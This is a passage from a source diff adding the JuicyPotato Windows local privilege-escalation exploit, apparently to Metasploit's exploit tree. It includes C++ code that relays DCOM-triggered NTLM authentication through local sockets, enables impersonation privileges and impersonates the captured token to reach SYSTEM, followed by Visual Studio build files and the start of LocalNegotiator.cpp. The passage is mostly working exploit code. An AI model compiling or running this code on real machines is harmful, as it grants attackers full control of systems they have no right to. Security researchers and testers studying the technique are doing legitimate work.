||||||
|
}
|
||||||
|
|
||||||
|
// Connect to server
|
||||||
|
iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
|
||||||
|
if (iResult == SOCKET_ERROR) {
|
||||||
|
closesocket(ConnectSocket);
|
||||||
|
ConnectSocket = INVALID_SOCKET;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (ConnectSocket == INVALID_SOCKET) {
|
||||||
|
printf("Unable to connect to server!\n");
|
||||||
|
WSACleanup();
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Send/Receive until the peer closes the connection
|
||||||
|
fflush(stdout);
|
||||||
|
do {
|
||||||
|
//Monitor our sendQ until we have some data to send
|
||||||
|
int *len = (int*)rpcSendQ->wait_pop();
|
||||||
|
|
||||||
|
fflush(stdout);
|
||||||
|
sendbuf = rpcSendQ->wait_pop();
|
||||||
|
|
||||||
|
//Check if we should be opening a new socket before we send the data
|
||||||
|
if (newConnection == 1) {
|
||||||
|
ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);
|
||||||
|
int y = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
|
||||||
|
newConnection = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
iResult = send(ConnectSocket, sendbuf, *len, 0);
|
||||||
|
if (iResult == SOCKET_ERROR) {
|
||||||
|
printf("RPC -> send failed with error: %d\n", WSAGetLastError());
|
||||||
|
closesocket(ConnectSocket);
|
||||||
|
WSACleanup();
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
iResult = recv(ConnectSocket, recvbuf, recvbuflen, 0);
|
||||||
|
if (iResult > 0) {
|
||||||
|
comSendQ->push((char*)&iResult);
|
||||||
|
comSendQ->push(recvbuf);
|
||||||
|
}
|
||||||
|
else if (iResult == 0) {
|
||||||
|
printf("RPC-> Connection closed\n");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
printf("RPC -> recv failed with error: %d\n", WSAGetLastError());
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
} while (iResult > 0);
|
||||||
|
|
||||||
|
//printf("last iResult:%d\n", iResult);
|
||||||
|
fflush(stdout);
|
||||||
|
// cleanup
|
||||||
|
iResult = shutdown(ConnectSocket, SD_SEND);
|
||||||
|
closesocket(ConnectSocket);
|
||||||
|
WSACleanup();
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int PotatoAPI::startCOMListener(void) {
|
||||||
|
const int DEFAULT_BUFLEN = 4096;
|
||||||
|
WSADATA wsaData;
|
||||||
|
int iResult;
|
||||||
|
struct addrinfo *result = NULL;
|
||||||
|
struct addrinfo hints;
|
||||||
|
int iSendResult;
|
||||||
|
char *sendbuf;
|
||||||
|
char recvbuf[DEFAULT_BUFLEN];
|
||||||
|
int recvbuflen = DEFAULT_BUFLEN;
|
||||||
|
|
||||||
|
// Initialize Winsock
|
||||||
|
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
|
||||||
|
if (iResult != 0) {
|
||||||
|
printf("WSAStartup failed with error: %d\n", iResult);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
ZeroMemory(&hints, sizeof(hints));
|
||||||
|
hints.ai_family = AF_INET;
|
||||||
|
hints.ai_socktype = SOCK_STREAM;
|
||||||
|
hints.ai_protocol = IPPROTO_TCP;
|
||||||
|
hints.ai_flags = AI_PASSIVE;
|
||||||
|
|
||||||
|
memset(dcom_port, 0, 12);
|
||||||
|
wcstombs(dcom_port, g_port, 12);
|
||||||
|
|
||||||
|
// printf("[+] Listening on port:%s\n", dcom_port);
|
||||||
|
// Resolve the server address and port
|
||||||
|
iResult = getaddrinfo(NULL, dcom_port, &hints, &result);
|
||||||
|
|
||||||
|
if (iResult != 0) {
|
||||||
|
printf("getaddrinfo failed with error: %d\n", iResult);
|
||||||
|
WSACleanup();
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Create a SOCKET for connecting to server
|
||||||
|
ListenSocket = socket(result->ai_family, result->ai_socktype, result->ai_protocol);
|
||||||
|
int optval = 1;
|
||||||
|
setsockopt(ListenSocket, SOL_SOCKET, SO_REUSEADDR, (char *)&optval, sizeof(optval));
|
||||||
|
|
||||||
|
if (ListenSocket == INVALID_SOCKET) {
|
||||||
|
printf("socket failed with error: %ld\n", WSAGetLastError());
|
||||||
|
freeaddrinfo(result);
|
||||||
|
WSACleanup();
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Setup the TCP listening socket
|
||||||
|
iResult = bind(ListenSocket, result->ai_addr, (int)result->ai_addrlen);
|
||||||
|
//printf("startCOMListener bindresult%d\n", iResult);
|
||||||
|
if (iResult == SOCKET_ERROR) {
|
||||||
|
printf("bind failed with error: %d\n", WSAGetLastError());
|
||||||
|
freeaddrinfo(result);
|
||||||
|
closesocket(ListenSocket);
|
||||||
|
WSACleanup();
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
freeaddrinfo(result);
|
||||||
|
|
||||||
|
iResult = listen(ListenSocket, SOMAXCONN);
|
||||||
|
if (iResult == SOCKET_ERROR) {
|
||||||
|
printf("listen failed with error: %d\n", WSAGetLastError());
|
||||||
|
closesocket(ListenSocket);
|
||||||
|
WSACleanup();
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
//---- non block socket server
|
||||||
|
|
||||||
|
timeval timeout = { 1, 0 };
|
||||||
|
fd_set fds;
|
||||||
|
FD_ZERO(&fds);
|
||||||
|
FD_SET(ListenSocket, &fds);
|
||||||
|
|
||||||
|
select(ListenSocket + 1, &fds, NULL, NULL, &timeout);
|
||||||
|
if (FD_ISSET(ListenSocket, &fds))
|
||||||
|
{
|
||||||
|
ClientSocket = accept(ListenSocket, NULL, NULL);
|
||||||
|
if (ClientSocket == INVALID_SOCKET) {
|
||||||
|
printf("accept failed with error: %d\n", WSAGetLastError());
|
||||||
|
closesocket(ListenSocket);
|
||||||
|
WSACleanup();
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int ntlmLoc;
|
||||||
|
do {
|
||||||
|
iResult = recv(ClientSocket, recvbuf, recvbuflen, 0);
|
||||||
|
if (iResult > 0) {
|
||||||
|
|
||||||
|
if (!TEST_mode)
|
||||||
|
printf(".", iResult);
|
||||||
|
|
||||||
|
//check to see if the received packet has NTLM auth information
|
||||||
|
processNtlmBytes(recvbuf, iResult);
|
||||||
|
|
||||||
|
//Send all incoming packets to the WinRPC sockets "send queue" and wait for the WinRPC socket to put a packet into our "send queue"
|
||||||
|
//put packet in winrpc_sendq
|
||||||
|
rpcSendQ->push((char*)&iResult);
|
||||||
|
rpcSendQ->push(recvbuf);
|
||||||
|
|
||||||
|
//block and wait for a new item in our sendq
|
||||||
|
int* len = (int*)comSendQ->wait_pop();
|
||||||
|
sendbuf = comSendQ->wait_pop();
|
||||||
|
|
||||||
|
//Check to see if this is a packet containing NTLM authentication information before sending
|
||||||
|
processNtlmBytes(sendbuf, *len);
|
||||||
|
|
||||||
|
//send the new packet sendbuf
|
||||||
|
iSendResult = send(ClientSocket, sendbuf, *len, 0);
|
||||||
|
|
||||||
|
if (iSendResult == SOCKET_ERROR) {
|
||||||
|
printf("COM -> send failed with error: %d\n", WSAGetLastError());
|
||||||
|
exit(-11);
|
||||||
|
}
|
||||||
|
|
||||||
|
//Sometimes Windows likes to open a new connection instead of using the current one
|
||||||
|
//Allow for this by waiting for 1s and replacing the ClientSocket if a new connection is incoming
|
||||||
|
newConnection = checkForNewConnection(&ListenSocket, &ClientSocket);
|
||||||
|
}
|
||||||
|
else if (iResult == 0) {
|
||||||
|
//connection closing...
|
||||||
|
shutdown(ClientSocket, SD_SEND);
|
||||||
|
WSACleanup();
|
||||||
|
exit(-1);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
if (!TEST_mode)
|
||||||
|
printf("COM -> recv failed with error: %d\n", WSAGetLastError());
|
||||||
|
|
||||||
|
shutdown(ClientSocket, SD_SEND);
|
||||||
|
WSACleanup();
|
||||||
|
|
||||||
|
exit(-1);
|
||||||
|
}
|
||||||
|
|
||||||
|
} while (iResult > 0);
|
||||||
|
|
||||||
|
// shutdown the connection since we're done
|
||||||
|
iResult = shutdown(ClientSocket, SD_SEND);
|
||||||
|
// printf("startCOMListener iResult ComLisetner:%d\n", iResult);
|
||||||
|
if (iResult == SOCKET_ERROR) {
|
||||||
|
printf("shutdown failed with error: %d\n", WSAGetLastError());
|
||||||
|
closesocket(ClientSocket);
|
||||||
|
WSACleanup();
|
||||||
|
exit(-1);
|
||||||
|
}
|
||||||
|
|
||||||
|
// cleanup
|
||||||
|
closesocket(ClientSocket);
|
||||||
|
WSACleanup();
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL EnablePriv(HANDLE hToken, LPCTSTR priv)
|
||||||
|
{
|
||||||
|
TOKEN_PRIVILEGES tp;
|
||||||
|
LUID luid;
|
||||||
|
|
||||||
|
if (!LookupPrivilegeValue(NULL, priv, &luid))
|
||||||
|
{
|
||||||
|
printf("Priv Lookup FALSE\n");
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
tp.PrivilegeCount = 1;
|
||||||
|
tp.Privileges[0].Luid = luid;
|
||||||
|
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||||
|
if (!AdjustTokenPrivileges(
|
||||||
|
hToken,
|
||||||
|
FALSE,
|
||||||
|
&tp,
|
||||||
|
sizeof(TOKEN_PRIVILEGES),
|
||||||
|
(PTOKEN_PRIVILEGES)NULL,
|
||||||
|
(PDWORD)NULL))
|
||||||
|
{
|
||||||
|
printf("Priv Adjust FALSE\n");
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
__declspec(dllexport) int Juicy(wchar_t *clsid, BOOL brute)
|
||||||
|
{
|
||||||
|
PotatoAPI* test = new PotatoAPI();
|
||||||
|
test->startCOMListenerThread();
|
||||||
|
|
||||||
|
if (clsid != NULL)
|
||||||
|
olestr = clsid;
|
||||||
|
|
||||||
|
if (!TEST_mode)
|
||||||
|
printf("Testing %S %S\n", olestr, g_port);
|
||||||
|
|
||||||
|
|
||||||
|
test->startRPCConnectionThread();
|
||||||
|
test->triggerDCOM();
|
||||||
|
|
||||||
|
BOOL result = false;
|
||||||
|
|
||||||
|
int ret = 0;
|
||||||
|
while (true) {
|
||||||
|
|
||||||
|
if (test->negotiator->authResult != -1)
|
||||||
|
{
|
||||||
|
|
||||||
|
HANDLE hToken;
|
||||||
|
TOKEN_PRIVILEGES tkp;
|
||||||
|
SECURITY_DESCRIPTOR sdSecurityDescriptor;
|
||||||
|
if (!TEST_mode)
|
||||||
|
printf("\n[+] authresult %d\n", test->negotiator->authResult);
|
||||||
|
|
||||||
|
fflush(stdout);
|
||||||
|
|
||||||
|
// Get a token for this process.
|
||||||
|
if (!OpenProcessToken(GetCurrentProcess(),
|
||||||
|
TOKEN_ALL_ACCESS, &hToken))return 0;
|
||||||
|
|
||||||
|
//enable privileges
|
||||||
|
EnablePriv(hToken, SE_IMPERSONATE_NAME);
|
||||||
|
EnablePriv(hToken, SE_ASSIGNPRIMARYTOKEN_NAME);
|
||||||
|
PTOKEN_TYPE ptg;
|
||||||
|
DWORD dwl = 0;
|
||||||
|
HANDLE hProcessToken;
|
||||||
|
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS,
|
||||||
|
&hProcessToken);
|
||||||
|
|
||||||
|
QuerySecurityContextToken(test->negotiator->phContext, &elevated_token);
|
||||||
|
IsTokenSystem(elevated_token);
|
||||||
|
if (TEST_mode)
|
||||||
|
return 1;
|
||||||
|
|
||||||
|
result = ImpersonateSecurityContext(test->negotiator->phContext);
|
||||||
|
|
||||||
|
if (!result) {
|
||||||
|
printf("BOOM!!");
|
||||||
|
break;
|
||||||
|
} else {
|
||||||
|
printf("Waiting for auth...");
|
||||||
|
Sleep(500);
|
||||||
|
fflush(stdout);
|
||||||
|
}
|
||||||
|
}//end auth
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
__declspec(dllexport) void EntryPoint(void)
|
||||||
|
{
|
||||||
|
Juicy(NULL, FALSE);
|
||||||
|
}
|
|
@ -0,0 +1,197 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup Label="ProjectConfigurations">
|
||||||
|
<ProjectConfiguration Include="Debug|Win32">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|Win32">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Debug|x64">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|x64">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
</ItemGroup>
|
||||||
|
<PropertyGroup Label="Globals">
|
||||||
|
<ProjectGuid>{4164003E-BA47-4A95-8586-D5AAC399C050}</ProjectGuid>
|
||||||
|
<Keyword>Win32Proj</Keyword>
|
||||||
|
<RootNamespace>JuicyPotato</RootNamespace>
|
||||||
|
<WindowsTargetPlatformVersion>8.1</WindowsTargetPlatformVersion>
|
||||||
|
<ProjectName>JuicyPotato</ProjectName>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v141</PlatformToolset>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v141</PlatformToolset>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v140</PlatformToolset>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v140</PlatformToolset>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||||
|
<ImportGroup Label="ExtensionSettings">
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="Shared">
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<PropertyGroup Label="UserMacros" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<LinkIncremental>true</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<LinkIncremental>true</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<LinkIncremental>false</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<LinkIncremental>false</LinkIncremental>
|
||||||
|
<OutDir>$(SolutionDir)$(Configuration)\$(Platform)\</OutDir>
|
||||||
|
</PropertyGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<Optimization>Disabled</Optimization>
|
||||||
|
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;MSFROTTENPOTATO_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<ClCompile>
|
||||||
|
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<Optimization>Disabled</Optimization>
|
||||||
|
<PreprocessorDefinitions>_DEBUG;_WINDOWS;_USRDLL;MSFROTTENPOTATO_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||||
|
<Optimization>MaxSpeed</Optimization>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;MSFROTTENPOTATO_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||||
|
<Optimization>MaxSpeed</Optimization>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<PreprocessorDefinitions>NDEBUG;_WINDOWS;_USRDLL;MSFROTTENPOTATO_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Console</SubSystem>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
|
</Link>
|
||||||
|
<BuildLog>
|
||||||
|
<Path>$(SolutionDir)$(Configuration)\$(Platform)\$(MSBuildProjectName).log</Path>
|
||||||
|
</BuildLog>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<Text Include="ReadMe.txt" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="BlockingQueue.h" />
|
||||||
|
<ClInclude Include="IStorageTrigger.h" />
|
||||||
|
<ClInclude Include="LocalNegotiator.h" />
|
||||||
|
<ClInclude Include="MSFRottenPotato.h" />
|
||||||
|
<ClInclude Include="stdafx.h" />
|
||||||
|
<ClInclude Include="targetver.h" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="dllmain.cpp">
|
||||||
|
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">false</CompileAsManaged>
|
||||||
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
</PrecompiledHeader>
|
||||||
|
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">false</CompileAsManaged>
|
||||||
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
</PrecompiledHeader>
|
||||||
|
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</CompileAsManaged>
|
||||||
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
</PrecompiledHeader>
|
||||||
|
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|x64'">false</CompileAsManaged>
|
||||||
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
</PrecompiledHeader>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="IStorageTrigger.cpp" />
|
||||||
|
<ClCompile Include="LocalNegotiator.cpp" />
|
||||||
|
<ClCompile Include="JuicyPotato.cpp" />
|
||||||
|
<ClCompile Include="stdafx.cpp">
|
||||||
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
|
||||||
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
|
||||||
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
|
||||||
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
|
||||||
|
</ClCompile>
|
||||||
|
</ItemGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
|
<ImportGroup Label="ExtensionTargets">
|
||||||
|
</ImportGroup>
|
||||||
|
</Project>
|
57
external/source/exploits/juicypotato/JuicyPotato/JuicyPotato.vcxproj.filters
vendored
Normal file
57
external/source/exploits/juicypotato/JuicyPotato/JuicyPotato.vcxproj.filters
vendored
Normal file
|
@ -0,0 +1,57 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup>
|
||||||
|
<Filter Include="Source Files">
|
||||||
|
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||||
|
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="Header Files">
|
||||||
|
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||||
|
<Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="Resource Files">
|
||||||
|
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||||
|
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||||
|
</Filter>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<Text Include="ReadMe.txt" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="stdafx.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="targetver.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="MSFRottenPotato.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="IStorageTrigger.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="BlockingQueue.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="LocalNegotiator.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="stdafx.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="dllmain.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="IStorageTrigger.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="LocalNegotiator.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="JuicyPotato.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
</ItemGroup>
|
||||||
|
</Project>
|
|
@ -0,0 +1,115 @@
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "LocalNegotiator.h"
|
||||||
|
#include <iostream>
|
||||||
|
|
||||||
|
LocalNegotiator::LocalNegotiator()
|
||||||
|
{
|
||||||
|
authResult = -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
void InitTokenContextBuffer(PSecBufferDesc pSecBufferDesc, PSecBuffer pSecBuffer)
|
||||||
|
{
|
||||||
|
pSecBuffer->BufferType = SECBUFFER_TOKEN;
|
||||||
|
pSecBuffer->cbBuffer = 0;
|
||||||
|
pSecBuffer->pvBuffer = nullptr;
|
||||||
|
|
||||||
|
pSecBufferDesc->ulVersion = SECBUFFER_VERSION;
|
||||||
|
pSecBufferDesc->cBuffers = 1;
|
||||||
|
